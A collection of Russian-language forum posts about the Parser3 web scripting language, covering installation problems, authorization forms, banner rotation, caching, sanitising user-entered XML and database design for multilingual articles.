Это можно сделать явно, либо использовать \"свойства\" в новых версиях Парсера."
"55863","У меня со времен MS DOSа остался стереотип - ни файлы, ни папки не называть по русски, не использовать пробелы, и не более 8 символов. Вот так вот :)"
"55864","Я тоже думал об этом, но мне показалось что это будет избыточно... Вы считаете что нормально?\
\
У меня задача похожая с точностью до наоборот :)\
- если выдаётся слишком мало, то надо параметры поиска делать менее строгими.\
\
Предполагалось что если первый запрос вернул мало, то эти результаты можно безболезненно выкинуть и спросить ещё раз.\
\
У меня запрос больно накрученный - из нескольких таблиц, да с кучей параметров. Имеет ли смысл сначала записи считать, а потом уже их вытаскивать?"
"55865","Но тогда ведь мы будем обращаться к полям класса из внешних методов, что вроде как не очень комильфо в парсере...\
\
А чем хуже делать так:\
\
[code]@execute[]\
$great_result[\
$.XML[сюда,]\
$.result2[сюда]\
$.result3[и сюда]\
]\
$result[$great_result][/code]\
\
Хотя кажется я уже вижу чем хуже..."
"55867","на hosting.nic.ru стоит FreeBSD 4.11-RELEASE\
\
пытаюсь собрать с поддержкой xml (впрочем, без поддержки - то же самое).\
использую скрипт от Sumo http://www.parser.ru/forum/?id=54593\
\
Получаю:\
Configuring libxslt...\
configure: error: C compiler cannot create executables\
See `config.log' for more details.\
Building libxslt...\
make: not found\
make: not found\
Configuring parser3...\
./parser_make: ./configure: not found\
Building parser3...\
make: not found\
strip: not found\
DONE\
\
Кто виноват? и что делать? писать в саппорт, чтобы собрали?\
\
Нужно собрать, потому что Parser у меня (Parser/3.1.6sp2 (compiled on i386-unknown-freebsd4.10)) выдает такую ошибку:\
    источник ошибки: ./lib/libparser3mysql.so \
    файл: -body of process-\
    строка: 8\
    колонка: 18 \
    комментарий: can't open the module"
"55868","...переименовать директорию средствами парсера."
"55872","[code]^file:move[/path/dir;/path/new_dir][/code]\
\
[b]Было[/b]: /home/www/path/dir/\
[b]Стало[/b]: /home/www/path/[color=\"#ff0000\"]new_[/color]dir/\
\
Всё верно?"
"55875","Разбираю класс авторизации - возникли некоторые проблемы. При нажатии \"Войти\" ничего не меняется,ждем 2 секунды, нажимаем F5(обновить страницу), то все нормально - видим, что мы авторизированны. То же самое при нажатии \"Завершить работу\", ждем пару секунд, нажимаем F5, видим что мы вышли. Все это крутится на IIS 6.0 и MS SQL 2000. В чем может быть проблема?"
"55876","похоже что в форме не указан action=\"\""
"55877","То же самое про это подумал (после прочтения http://www.parser.ru/docs/lang/?install4iis_404rewrite.htm). Но в примере класса авторизации action передается.\
[b]_auth_info.html[/b]\
[code]\
...\
^if(!$auth.is_logon){\
		^rem{ *** если пользователь не залогинен - выводим форму для логина *** }\
		^auth.htmlFormLogon[\
			$.target_url[./_auth_info.html]\
		]\
	}\
...\
[/code]\
[b]auth.p[/b]\
[code]\
...\
# print html for logon form\
@htmlFormLogon[hParams][_hParams]\
$_hParams[^hash::create[$hParams]]\
^untaint[html]{\
	<form\
		method=\"post\"\
		^if(def $_hParams.target_url){\
			action=\"$_hParams.target_url\"\
		}\
	>\
		<input type=\"hidden\" name=\"auth.logon\" value=\"do\" />\
		Логин:<br />\
		<input type=\"text\" name=\"auth.name\" value=\"^if(def $logon_data.[auth.logon]){$logon_data.[auth.name]}{$last_name}\" /><br />\
		Пароль:<br />\
		<input type=\"password\" name=\"auth.passwd\" description=\"Пароль\" /><br />\
		<input type=\"checkbox\" name=\"auth.persistent\" value=\"1\"^if($is_persistent){ checked=\"checked\"} id=\"auth.persistent\"/><label for=\"auth.persistent\"> Запомнить</label><br />\
		<input type=\"submit\" name=\"action\" value=\"^if(def $_hParams.action_name){$_hParams.action_name}{Войти}\" />\
	</form>\
}\
#end @htmlFormLogon[]\
...\
[/code]"
"55878","А вообще постинг данных производится? Попробуйте поменять POST на GET, параметры передаются?"
"55879","Есть база банеров и рекламных блоков. Данные хранятся в БД.\
\
При вызове определенного метода, скажем @get_adverts[], метод выберет банеры, относительно их приоритетов, и после определенных вычеслений - вернет один из них. Это решается просто.\
\
Задача вот в чем. Метод будет вызываться в теле страницы во многих местах - места произвольные и количество вызовов метода неограничено. Как сделать, чтобы при каждом вызове метода в теле одной страницы не показать 2 или более одинаковых банера? Как обеспечить уникальность рекламы?"
"55880","подумал так:\
\
при каждом вызове метода показа банеров если есть, открываем файл-таблицу и в ней смотрим АйДи уже отданных банеров, если файла нет - создаем и пишем туда отданый банер. А где нить раньше, скажем в @auto[] этот файл затираем. Таким образом получится табличка на время вызова.\
\
только как-то дико мне это кажется - не по-парсерски. Может хеш-файл использовать? но в доке пишет, что типа\
[quote]Замечание: в один момент времени файл может изменяться только одним скриптом, остальные ждут окончания его работы.[/quote]"
"55881","Может быть ближе к тому уровню все «услучайнить»?..\
\
А вообще мысль какая-то промелькнула на счет того чтобы при вызове метода генерировать UUID и на него опираться."
"55882","услучайнить не получится - у банеров есть приоритет показа, и количество показов, относительно которых и делается выборка. А на счет УУИД не понял - как его сюда прикрутить?"
"55883","Если да, то коннект к базе у вас открыт, накладные расходы маленькие.\
\
Пусть ваш метод создаёт в БД heap-табличку (табличку, которую mysql держит в памяти) - или пользуется уже готовой, если она создана другим процессом. В табличку вносится идентификатор сессии пользователя и id выданного ему баннера.\
\
Когда метод решает, какой баннер отдать, вы вводите дополнительное условие - where id not in (select id, session from temptable where sesstion = $auth.session\
\
В сторону файлов даже не думайте - не гоже баннерокрутилке генерировать ненужные дисковые операции.\
\
Табличке лучше быть в памяти - и быстрее, и полезных данных в ней нет, чтобы хранить её. Периодически - раз на тысячу обращений - грохайте её содержимое."
"55884","Только вот задача у меня немного другая, но по большому счету ваш совет мне подходит. Задача не в том, чтобы юзер не видел один и тот же банер - пусть вдит - это же реклама), задача в том, чтобы на одной странице банеры были уникальные. Т.е. мне нужно будет реализовать все то, что я наумал - только в БД. Грохать ее в @auto[] и создавать или считывать при вызове метода показа банеров."
"55885","Поменял на get. То же самое, передача параметров происходит только после нажатия f5. Скорее всего дело в IIS. В настройках Home directory -Configuration  стоит для .p и для .html Verbs - All verbs. Используется parser3.exe."
"55886","по теме: создайте у класса банер хеш ($hExist), где храните id-шки уже отображенных банеров.\
\
достаете очередное баннер примерно так:\
[code]$iWatchDog(10)\
$bExist(true)\
^while($bExist && $iWatchDog){\
	$result[^getBannerFromDatabase[...]]\
	^if(!$hExist.[$result.id]){\
		$bExist(false)\
		^hExist.add[\
			$.[$result.id](1)\
		]\
	}\
	^iWatchDog.dec(1)\
}[/code]\
\
в случае, если количество отображаемых банеров много меньше чем количество банеров в БД повторных запросов будет немного."
"55887","Взял тестовый скрипт:\
[b]test.html[/b]\
[code]\
<form\
method=\"post\"\
action=\"./test.html\"\
>\
Логин:<br />\
<input type=\"text\" name=\"login\" /><br />\
<input type=\"submit\" name=\"action\" value=\"Войти\" />\
</form>\
\
^if(def $form:login){\
$form:login\
}{\
ничего не передалось\
}\
[/code]\
Все нормално работает, передается как POST, так и GET."
"55888","Ведь у очень многих людей/фирм/частных предпринимателей есть желание открыть свой сайт.\
Они ищут знакомых/друзей, которые умеют общаться с компьютером, и которые хоть как-то подешевле смогут сделать им сайт.\
Но часто такие сайты очень неудобны в использовании для владельцев.\
Сложно размещать в адимн панели информацию, сложно вставлять фотографии\
И у них возникает куча проблем\
\
Так вот, здесь собирается огромно количество людей, которые на «ты» с Parser  и котором удобно и легко писать на нем сайты. Так почему бы ни объединить все усилия, все статьи из раздела «Примеры» и не сделать удобную и простую CMS, для самих же себя (и не только) на очень популярном и удобном принципе open source\
\
На сколько я знаю, сейчас на рынке бесплатных, open source CMS лидирует Mambo ( http://mambostudio.com.ru/ )\
\
Жду Ваши высказывания. Ведь это будет только ваше решение, получится ли раскрутить идею или нет."
"55890","return там дальше защищается....\
\
1. break просто необходим в любом языке полностью поддерживающим циклы, более того, если бы break в современных языках не было, то вряд ли удалось бы отказаться от goto.\
2. при наличии break без continue можно обойтись, но это извращения\
+ пример:\
  Я в свое время использовал такую конструкцию:\
\
do{\
<действие 1>\
if (<условие 1>) continue\
<действие 2>\
if (<условие 2>) continue\
<действие 3>\
if (<условие 3>) continue\
<действие 4>\
if (<условие 4>) continue\
}while (false)\
\
Очень изящно заменяет несколько вложенных циклов. Контекст применения не помню - но было очень удобно и наглядно."
"55891","Здравствуйте.\
 Пытаюсь установить Парсер3 под ВинХР, все сделал, как написано в доках на Вашем сайте. Но сервер выдает сообщение \"Не найдена указанная процедура.\". Что он не может найти или что я сделал не так?\
 Заранее благодарю за ответ!"
"55892","Но.\
Для начала нужен идейный вдохновитель и координатор проекта.\
Беретесь?\
С удовольствием напишу несколько модулей. \
Могу даже хостинг под CVS и будущий сайт выдать."
"55893","Опишите, пожалуйста,  Ваши действия пошагово"
"55894","Требуется каталог товаров с такой структурой: \
\
Category1 \
         > Subcat1.1 > \
                       Subcat1.1.1\
                       Subcat1.1.2\
Category2 > \
            Subcat2.1 > \
                        Subcat2.1.1\
                        Subcat2.1.2\
и т.д. \
\
Навигационная панель должна эту структуру отображать таким образом:\
\
При переходе на первый уровень вложености:\
\
Меню 1\
Меню 2 (активное)\
      Субменю 2.1\
      Субменю 2.2\
Меню 3 \
и т.д.\
\
При переходе на второй уровень вложенности:\
\
Меню 1\
Меню 2 (активное)\
      Субменю 2.1 (активное)\
               Суб-субменю 2.1.1\
               Суб-субменю 2.1.2\
      Субменю 2.2\
Меню 3 \
и т.д.\
\
При входе на третий уровень вложенности структура, как на предыдущем шаге, только выбранная субкатегория обозначается визуально (как и выбранные ранее предки):\
\
Меню 1\
Меню 2 (активное)\
      Субменю 2.1 (активное)\
               Суб-субменю 2.1.1 (активное)\
               Суб-субменю 2.1.2\
      Субменю 2.2\
Меню 3 \
и т.д.\
\
Можно ли это все реализовать на Parser БЕЗ ИСПОЛЬЗОВАНИЯ БАЗЫ ДАННЫХ, причем чтобы работало без тормозов?\
\
Способ сравнения длины uri текущей страницы с запрашиваемым урлом, описанный в Уроке 2, подходит только для простой навигации. \
\
Или я не прав? В таком случае, подскажите, какими средствамитакю структуру и навигацию можно сделать без глубокого погружения в Parser, мне надо срочно. Можете просто назвать ключевые слова из документации по Parser, дальше попробую сам :)"
"55895","[url=\"http://www.egoroff.spb.ru/portfolio/10.html\"]http://www.egoroff.spb.ru/portfolio/10.html[/url]\
\
+ на сообразительность *-)"
"55896","Спасибо, здорово. Правда, сразу вопрос дополнительный: а если хостинг не только без MySQL, но и без поддержки XML/XSL? Ну бывает такое :)"
"55897","Крохотный метод:\
[code]\
#######################################\
# Проверяет входит ли число в строку: 3, 2, 1,10-15,18,21,43-54\
#####\
@check_number[str;number][numbers]\
$result(0)\
^if(def $str && $number){\
	$numbers[^rsplit[$str;[^^-0-9]+]]\
	^if($numbers){\
		^numbers.menu{\
			^if(^numbers.piece.int(0) > 0){\
				^if($numbers.piece == $number){$result(1)}\
			}{\
				$result(^numbers.piece.match[^^(\\d+)\\-(\\d+)^$][]{^if($number >= $match.1 && $number <= $match.2){1}{0}})\
			}\
		}\
	}\
}\
### End @check_number[]\
[/code]\
Вызов такой:\
[code]^check_number[3, 2, 1,10-15,18,21,43-54;14][/code]\
При совпадении возвращает 1, иначе 0.\
\
Числа в строке могут быть не по порядку и разделяться любыми символами: пробелами, табуляциями или запятыми.\
\
P.S. Кто-то по-моему уже делал что-то подобное, но я не нашёл. Да, метод использует ^rsplit[] смотреть в [url=\"http://www.spearance.ru/parser3/rsplit/\"]примерах[/url]."
"55898","Понятие [i]без поддержки XML/XSL[/i] глупо само по себе. Почему? - почитайте документацию по XML.\
\
Единственно, проблема может быть, если у вас установлин Parser без XML."
"55900","Понятно, еще раз спасибо. А можно совсем уж глупый вопрос: может ли Parser делать это без XML, и если нет, то чем он функционально отличаетс от XML/XSL?"
"55903","1. Сначала я установил службу IIS. Я установил все ее компоненты. \
2. Скачал с вашего сайта \
- parser3_2_1_win32_isapi_xml.zip\
- parser3conf_1_1_20040825_win32.zip\
- parser3xml_1_2_win32.zip\
- parser3sql_1_4_win32_odbc.zip\
- parser3sql_1_4_win32_mysql.zip\
3. Выгрузил в папку C:\\inetpub\\ISAPI\\parser3 в lib - библиотеки для баз данных и charset - конфы.\
4. Запустил \"Администрирование/Internet Information Services\". \
5. Зашел в \"Свойства\" \"Веб-узла по умолчанию\".\
Во вкладке \"Домашний каталог\" \
- не стал менять локальный каталог\
- в \"Имя приложения\" подставил \"Parser3\"\
- в \"Разрешен запуск\" \"Только сценарии\"\
- в \"Зашита\" Низкая(процесс IIS)\
- в \"Настройки\" добавил разширения .html и .p с исполняемым файлом C:\\Inetpub\\ISAPI\\parser3\\parser3isapi.dll\
6. Во вкладке \"Документы\" добавил index.html\
7. Во вкладке \"Заголовки HTTP\" счекил \"Установить срок действия содержимого\", выбрав \"истекает немедленно\".\
8. Во вкладке \"Серверные расширения\" в \"Быстродействие\" поставил \"Настройка для <100 страниц\".\
9. Создал html-страничку в wwwroot c текстом.\
Вроде все..."
"55904","Есть код, результат которого желательно кешировать. Но в нем, к коде, есть еще некоторые блоки кода, который кешировать не надо. Как это сделать?\
\
По идее, код, который требует кеширования, нужно заключить в метод ^cache[]. Но дело в том, что в классе, написанном Мишей, кеш сохраняется под именем вызываемой страницы. Если же мне разделить 1 страницу на кешируемые блоки, то получится, что сохранится только последний блок, т.е. он просто перезапишет все предидущие блоки именем страницы. Что делать? Переписывать класс? Может кто с этим сталкивался - посоветуйте решение.\
\
Можно задавать для каждого блока свое название файла-кеша. Вроде так и надо, но не уверен, насколько это правильно."
"55905","Позиция профессионала понятна: Parser - хорошее средство разработки, дающее большие возможности умным и творческим личностям.\
\
Но мне, торопливому и нелюбознательному чайнику, Parser обещан\
как средство создания динамических сайтов без навыков программирования. \
\
Можно ли реализовать многоуровневое меню без базы данных, без XSL, без изучения теории?"
"55906","Будьте добры, через \"Пуск\" -> \"Выполнить\" запустите [code]compmgmt.msc[/code] и посмотрите содержимое Event Viewer (\"Журнал ошибок\").\
\
Там должно быть более подробное сообщение об ошибке. Пожалуйста, процитируйте его нам."
"55907","а разве нельзя так:\
[code]$result(def $sText && ^sText.match[\\D$iNumber\\D])[/code]\
?\
\
причем граничные условия (\\D) можно изменить"
"55910","Спасибо большое, сберегли время"
"55911","Все что нашел...\
\"The NTP-клиент поставщика времени настроен на получение времени из одного  или нескольких источников, однако ни один из этих источников недоступен.  Попытки подключения к источнику не будут выполняться в течение 239 мин. NTP-клиент не имеет источника правильного времени. \""
"55913","если вы будете кешировать кусками, то вам это не нужно. для кеширования кусочком пойдет обычный ^cache[] или написанный на его основе класс (проще чем cachepage).\
\
иногда мы делаем так: в страницу, которая попадет в кеш помещаются куски парсерного кода, которые должны быть исполнены позже (например: <parser>^insertBanner[]</parser>), именно такие буквы попадают в кеш. а перед отдачей посетителю (в методе postprocess) эти куски находятся и выполняются (match + process)."
"55914","[code]\
$result(false)\
^if(def $sText){\
	$result(^sText.match[\\D${iNumber}\\D]))\
	^if(!$result){\
		$sTemp[^sText.match[\\D(\\d+)\\s*-\\s*(\\d+)\\D][g]{^if($match.1 <= $iNumber && $iNumber <= $match.2){$result(true)}}]\
	}\
}\
[/code]\
\
P.S. плюс приведенный тобой метод с приведенным примером не работает, возвращает 0, т.к. не смотря на то, что в $result на проверке диапазона 10-15 мы поместили 1, на проверке 43-54 мы перезаписали его нулем. надо примерно так:\
[code]\
^if(^numbers.piece.int(0) > 0){\
	...\
}{\
	$sTуmp[^numbers.piece.match[^^(\\d+)\\-(\\d+)^$][]{^if($number >= $match.1 && $number <= $match.2){$result(1)}}]\
}\
[/code]"
"55915","Убрал в _auth_info.html внешний редирект - начало нормально работать. Убрал это кусок кода:\
[code]\
^rem{ *** при logon/logout делаем external redirect на себя *** }\
		$response:location[http://${env:SERVER_NAME}^request:uri.match[\\?.*][]{}?^math:random(100)]\
[/code]\
Но он же нужен."
"55916","решил сделать так, как советовали - вставить тег и match + process. Вот только у меня в том месте, в месте тега - выполняется метод объекта определенного класса. Как я понимаю, в postprocess приходит уже чистый результат, и все данные о классах и объектах уже потерты. Пробовал указывать ^process[контекст]{строка} - то же самое. Пишет что типа неопределнный метод. Как быть?"
"55917","определил объект класса в постпроцессе - заработало. Криво как-то, хотя правильно и логично."
"55918","Контент страницы должен представлять из себя xml (xml+xhtml: разметка + специфичные теги вроде <phone ../>).\
\
Потом на этот xml накладывается xslt шаблон, где надо на стандартные теги накидывается дополнительное оформление, специфические теги вроде <phone .. /> превращаются в красивые телефоны итп.\
\
Пользователь редактирует этот xml-контент через веб-интерфейс, естетсвенно, иногда вставляет туда угловые скобки, амперсанд итп, спецсимволы не в качестве разметки.\
\
Надо чтобы его код остался well-formed xml, чтобы его можно было потом трансформировать.\
\
Как лучше поступить? Заменить все непарные (нетеговые) скобки и амперсанды регулярным выражением на &lt, &gt итп..\
\
Или есть еще какой-то способ боротся с введенными пользователем угловыми скобками, но в результате получать xml?\
\
Заставить пользователя заместо угловых скобок вводить коды &lt, &gt итп наверное сложно."
"55919","Самое простое решение:\
при редактировании выдавать xml код в форме:\
[tag attrib=\"value\"]\
\
[/tag]\
\
и далее его парсить рег. выражением."
"55920","1. составить список разрешенных тэгов\
2. для не разрешенных и не ентитей - заменять на &lt;, &gt;, &amp;\
3. проверять валидность разрешенных тегов (при попытке сохранения после п.2 пробовать делать xdoc::create), в случае неудачи - не сохранять результат, а показывать его в форме и требовать исправления.\
\
разрешенные, но не закрытые теги преобразовывать в &lt;zyx&gt; не хорошо, т.к. когда ваш пользователь ввел <phone>111-22-33<phone> то скорее всего он просто забыл закрыть тег, но не хотел чтобы этот тег отобразился в броузере как тег. и ему надо сразу указать на его ошибку, а не заставлять его ходить на сайт и проверять что же в результате получилось (а в идеале можно показывать ему preview, например отправляя результат на сервер и получая ответ через ajax %-)).\
\
P.S. \"метатеги\" - отстой %-)"
"55921","[quote]2. для не разрешенных и не ентитей - заменять на &lt;, &gt;, &amp;[/quote]\
\
А как вот это поэлегантней сделать?\
Не поделитесь регэкспами?"
"55922","На форме еще может быть прикручен ВИСИВИГ редактор, и данные туда попадают из разных источников.. порой уже сверстанные в html и их много, заставлять все угловые скобки менять на квадратные не верно.\
\
Ровно как и преобразовывать угловые в квадратные без ведома пользователя."
"55923","вы должны лишь заменить разрешенные теги и ентити на самих себя но чистые, остальное сделает taint, который по умолчанию.\
\
очистка & в ентитях:\
$result[^result.match[&(?=(?:\\#\\d{2,6}|[a-z][a-z0-9]{1,5})^;)][gi]{&}]\
\
а очистку разрешенных тегов сами напишите, примитивное-же выражение (но не быстрое). при этом закрывающие теги лучше \"чистить\" replace-ом, а открывающие - match-ем (т.к. в них могут быть аттрибуты)."
"55924","не пытайтесь собрать сами, поскольку в том месте, где вы пытаетесь, это не выйдет.\
\
что и как -- начните с поиска по форуму, вы не первый, точно."
"55925","последнее предложение перечитайте?"
"55927","Спасибо!\
\
Сколько велосипедов было изобретено.. а все так рядом =)"
"55928","За изложение спасибо!\
\
Но с tidy все упрощается:\
\
0. конфигурируешь tidy для генерации well-formed xml\
1. забираем из формы квази-xml юзера и as-is отправляешь tidy\
2. если xml получился well-formed, постим его в базу.\
3. если xml не получился (такое вообще реально с tidy?) - отдаем афтару на доводку =)\
4. при показе на этот xml накладываем xslt, код становится xhtml, мир во всем мире, алилуйя!\
\
Все верно? =)"
"55929","Недавно стоял вопрос кеширования, подобное решение было бы весьма красивым, не догадался.. =)"
"55930","Вот собственно вопрос.\
Сайты на Parser'e подвержены взлому?\
Думаю что да!\
Знаю точно есть ошибки которые могут привести к нехорошим последствиям.\
Могу привести примеры!!! Не на форуме конечно.\
В студии есть работники которые это отслеживают?\
Как эта вакансия называется?"
"55931","Вы не могли бы описать найденную Вами уязвимость?\
Здесь собираются люди, у которых большинство проектов реализовано на Парсере. ДУмаю нам будет интересно почитать Ваше мнение (и,скорее всего, опровергнуть Ваши домыслы).\
+ если уязвимость таки есть,  полезно поприкрывать уязвимости в критических проектах.\
\
Спасибо."
"55932","если из \"html\" удалось с помощью tidy сделать xml это не всегда хорошо. \
\
1. пользователь специально не закрывает <li> чтобы просто сократить ввод и знает, что tidy поправит эту \"ошибку\" - тут все хорошо.\
2. пользователь ошибся в написании тега (например <phoner>...</phone>), tidy поправит это в <phoner>...</phoner>, просто закрыв тег. но это плохо (xsl ничего не знает про такой тег, данные не выведутся), т.к. тут просто была опечатка в написании тега, и пользователь хотел написать иное. нельзя молча поправив такое сохранять. частично проблему можно решить сообщив tidy о новых тегах, тем не менее моё мнение ещё раз: делать преобразования ни слова не говоря об этом тому, кто ввел буквы - нехорошо."
"55933","каким должен быть правильным?\
\
Есть статьи. Есть языки. Есть переводы статей на разных языках. Все это же касается разделов (категорий статей). Все хранится в БД.\
\
Как правильно это организовать? Хранить и статьи и переводы в одной таблице, отделяя их идентификатором языка, типа lang_id, или же переводы хранить в отдельной таблице, связывая по article_id?\
\
В первом варианте будет много лишней информации, которая будет сохранятся по кажждому языку, но зато запись можно будет вынуть одним запросом, а во втором инфы будет меньше обратнопропорционально количеству языков на сайте, но в тоже время запись виниматся в 2 запроса, или в 1 объединенный."
"55934","Сколько языков? Думаю не так много, чтобы получилась большая избыточность. Первый вариант мне кажется более разумным."
"55935","языков 3-5, а новостей по 100 каждый день. Представьте себе БД, скажем, через пол года работы сайта.\
\
Всетаки я склонился ко второму варианту, т.к. редактирование в таком случае проще. Редактироваться будет только перевод статей, а все остальное в основном не меняется. Так вот при редактировании в организации по первому варианту придется обновлять все статьи, вернее все варианты переводов статей, а при втором варианте - только сами переводы.\
\
И вообще первый вариант подошел, если бы у меня были единичные статьи на разных языках (одна новость на русском, вторая на англ., третья на турецком и т.д.), а у меня одна статья на разных языках."
"55937","Скажите, пожалуйста, при каких условиях строка после \"#\" не считается комментарием?"
"55938","Основные ошибки это неправильная настройка сервера.\
На сайте МТ* когда он был еще старый.\
Можно было зайти в админку форума. Без всяких паролей!!!"
"55941","Я думал что всё что после \"#\" считается комментарием, а оказывается строка должна с неё начинаться!"
"55942","Согласен не прав.\
Собственно вопрос в том что из-за \
такой головы сайты студии(код парсерный) могут уйти на лево."
"55943","Если нужны какие-то замены, можно показать их, например как сделано у вас в типографе. Если юзер соглашается с этими изменениями, запостить их в бд.\
\
Немножко ajax и все на деле будет не так страшно, как написано выше =)"
"55944","В парсере с лишними пробелами всегда были нелады. Оно и понятно, ведь как определить куда относится пробел — к оператору парсера или к выводу на экран? Поэтому с ними нужно быть очень осторожными."
"55945","при чем тут парсер, опять же?"
"55946","Если в комментарии ^rem{} используется последовательность символов «$.» (например ^rem{$.main}), то получается синтаксическая ошибка."
"55947","Здравствуйте!!!!\
Имеется следующий код html страницы. \
В результате получаю превью.\
При нажатии на превью перехожу на страницу с большим изображением.\
НО я получаю большое изображение несоответствующее  фото-превью.\
(все время первая фотография выборки)\
C уважением O.V.Hauze\
\
[code]\
@USE\
scroller.p\
@main[] \
^header[] \
@greeting[] \
MASSANUTTEN\
^body[]\
@body_main[]\
^connect[mysql://root@Localhost/albums]{ \
$total(^int:sql{\
		SELECT\
			COUNT(*)\
		FROM\
			photos where category = 'Massanutten'}\
	)\
	$photo_per_page(8)\
	$pages[^scroller::init[$total;$photo_per_page;page]]\
$photos[^table::sql{select \
       commentary, category, loc_big, loc_small, id \
	   from \
      photos\
	  where category='Massanutten' ORDER BY id ASC\
}[\
		$.limit($pages.limit)\
		$.offset($pages.offset)\
	]] \
$cols(4)\
<table width=\"100%\" border=\"0\"cellspacing=\"0\"> \
^photos.menu{\
^if(^photos.line[] > $cols){</tr><tr>^cols.inc(4)}\
<td align=\"center\"> \
<br>\
<a href=\"detail/?id=$photos.id\">\
$image[^image::measure[$photos.loc_small]]\
^image.html[$.width[128]\
]\
<br>\
<nobr>$photos.commentary</nobr></a>\
</td>\
}}  \
</table> \
^pages.print[\
		$.mode[html]\
		$.tag_name[p]\
		$.target_url[/MASSANUTTEN/]\
		$.nav_count(5)\
		$.title[Photos:]\
		$.back_name[< back]\
        $.forward_name[forward >]\
	]\
[/code]"
"55948","Проблема не в нем. Ссылки ведь выдаются с разными ID-шками? Поищите ошибку там, куда они (ссылки) ссылаются."
"55949","Невозможно наверняка отловить завершающую фигурную скобку, т.е. она может быть где-то в тексте. Наверняка ошибка связана с этим."
"55951","[quote]ведь как определить куда относится пробел [/quote]\
\
Я конечно не соглашусь, но спорить не буду :-)"
"55952","[code]^rem{*** comment $.main ***}[/code]\
\
[quote]syntax error, unexpected EON, expecting '[' or '{' or '('[/quote]"
"55953","Ммм… расскажите :)"
"55954","Всем хай, никто не сталкивался с задачей подключения auto.p из другого веб пространства?\
можно ли использовать ^use для этих целей? в доках не сказано, может ли она работать с другим веб пространством.\
Есть auto.p\
@auto[]\
^use[http://сайт/template/auto.p]\
попробовал задать адес сайта в $MAIN:CLASS_PATH, не работает\
любые предложения велком? пасиб"
"55955","если вы в .htaccess не запретили доступ к .p файлам, то можно через file::load и process. Сам такими, уж простите, извращениями не занимался :) уверен для вашей задачи есть более вменяемый вариант, нежели use скрипта с другого хоста :) \
\
PS [url=\"http://www.zvuki.ru/\"]вот здесь[/url], например сравнительно недавно запретили смотреть .p файлы :)"
"55956","дык, этож действительно изврещенство будет, эт я здесь auto.p написал,в коде у мя .txt,и на этом пасиб"
"55960","и принадлежат одному и тому же пользователю, используйте относительные пути. Например, имеем:\
\
/home/user_vasya/site1.com/html/ и\
/home/user_vasya/site2.com/html/\
\
если из \
\
/home/user_vasya/site1.com/html/test.html хотите подключить\
/home/user_vasya/site2.com/html/test.p\
\
напишите ^use[[b]/../../[/b]site2.com/html/test.p]\
\
File:load не используйте - слишком велики накладные расходы."
"55961","Спасибо, все заработало. Эт как раз мой случай. Интересно, а почему нельзя абсолютные пути указывать? я через них пробывал /home/domains/../ и тд."
"55962","я так понимаю, это версия с комментариями? Тримнуть забыли, или как?\
\
На хостинге стоит Linux, а дома есть FreeBSD. Елси я на фри тримну скрипт парсера - он потом на Линаксе работать будет?"
"55963","В парсере все пути - от корня вебпространства, а не от диска.\
\
Это бережёт вас от ситуаций, когда провайдер меняет организацию папок и у вас ломаются скрипты, в которых был забит полный путь. Также это позволяет вам не забивать голову проблемой файловых путей вообще."
"55964","[code]\
@tidy[s]\
$s[^s.match[<dr>][gi]{<br>}]\
$f[^file::exec[tidy;\
	$.stdin[$s]\
;-config;tidy.cfg]]\
$result[^taint[$f.text]]\
^if(!def $result){\
	^throw[tidy.error;$f.stderr (status=$f.status)----------------$s]\
}\
[/code]\
\
tidy.cfg:\
[code]\
tidy-mark: false\
word-2000: true\
output-xhtml: true \
show-body-only: true\
drop-empty-paras: false\
quote-ampersand: false\
wrap: 0\
char-encoding: raw\
[/code]"
"55965","мы со smalex уже давно придумали сильное упрощение и ускорение.\
однако проблема не ощущается = не спешим реализовывать."
"55967","вот скачал только что:\
[code]\
parser3_2_1_redhat73_cgi_xml.tar.gz  |786,013|29.09.06|20:49\
[/code]\
если бы забыли тримнуть было бы под 7M (.tar.gz)\
а в незапакованном виде все 20M."
"55971","[quote]......или дело в запросе из базы данных \
$photos[^table::sql{select \
         id, loc_big, loc_small, commentary, category \
		   from \
      photos where category = 'MASSANUTTEN'\
	  ORDER BY id ASC\
}\
$photos.loc_big\
$photos.loc_small\
это пути к большим и маленьким фото соответственно[/quote]\
\
Да дело в запросе, вам нужна одна фотография (id = $form:id), а вы выбрали все."
"55972","Есть документ xdoc, некоторый узел (содержащий в себе ещё узлы) хочется из документа удалить. Можно это как-то сделать?"
"55974","Интересно, как с точки зрения файловой системы реализован \"единый программный код\" в статье [url=http://www.artlebedev.ru/tools/technogrette/xslt/multilang/]Еще раз о многоязычном сайте[/url]\
\
Есть несколько версий одного сайта на [i]разных[/i] доменах (example.ru, example.com, example.it и т. д.) Все строки/тексты вынесены в locale, соответственно, парсерный код и шаблоны на каждом сайте идентичны. Вопрос: как избежать дублирования файлов?\
\
Поскольку папки сайтов лежат рядом (\"Мастерхост\"), можно создать hardlink'и в каждой папке к файлам одного сайта. Можно будет править скрипт одного сайта, изменения коснутся всех других. Но тогда hardlink'и придётся создавать для каждого нового скрипта.\
\
Напрашивается другой вариант: создать symlink для всей папки www. (Не возникнут ли проблемы с apache?)\
\
Кто как делает?"
"55977","[quote]$s[^s.match[<dr>][gi]{<br>}][/quote]\
\
Это типовая опечатка чтоли?"
"55979","1. ввожу php -> \"ничего не найдено\"\
\
2. \
ввожу: домен авторизация\
получаю результаты, где или то или другое слово\
\
ввожу: +домен +авторизация (чтобы были оба слова)\
получаю те же результаты.\
\
был же раньше нормальный поиск..."
"55981","Есть такая ошибка, но она появилась только сегодня:\
\
Не удается загрузить библиотеку фильтра HTTP C:\\Inetpub\\ISAPI\\parser3\\parser3isapi.dll.  Данные содержат код ошибки. \
Для получения дополнительных сведений по сообщению посетите узел технической поддержки корпорации Майкрософт: http://www.microsoft.com/contentredirect.asp.\
\
Дополнительные сведения можно найти в центре справки и поддержки, в \"http://go.microsoft.com/fwlink/events.asp\"."
"55982","[Mon Oct  2 11:44:25 2006] [error] [client 217.117.75.226] client denied by server configuration: /home/qha/public_html/cgi-bin/auto.p\
\
Что это такое? Позвонил в службу поддержки, говорят, что мол это может быть из-за того, что сайт работает по временной ссылке. Посоветовали прописать в hosts временную ссылку с доменом - та же ошибка.\
\
Еще говорят, что мол меняйте ДНС на хостинг - типа все будет норм. А как я могу менять ДНС, когда я даже не знаю, работает ли там Парсер или нет?\
\
Парсер собирали из исходников, и поддержка говорит, что в шелл Парсер исправно выдает свою версию. Хотя в браузер я ничего не вижу - говорят из-за временной ссылки. Как быть?"
"55983","- при переезде сервера вернули значение ft_min_word_len в default (4), сейчас уменьшили до 2, т.е. css, js, kb, php & co должны находиться\
\
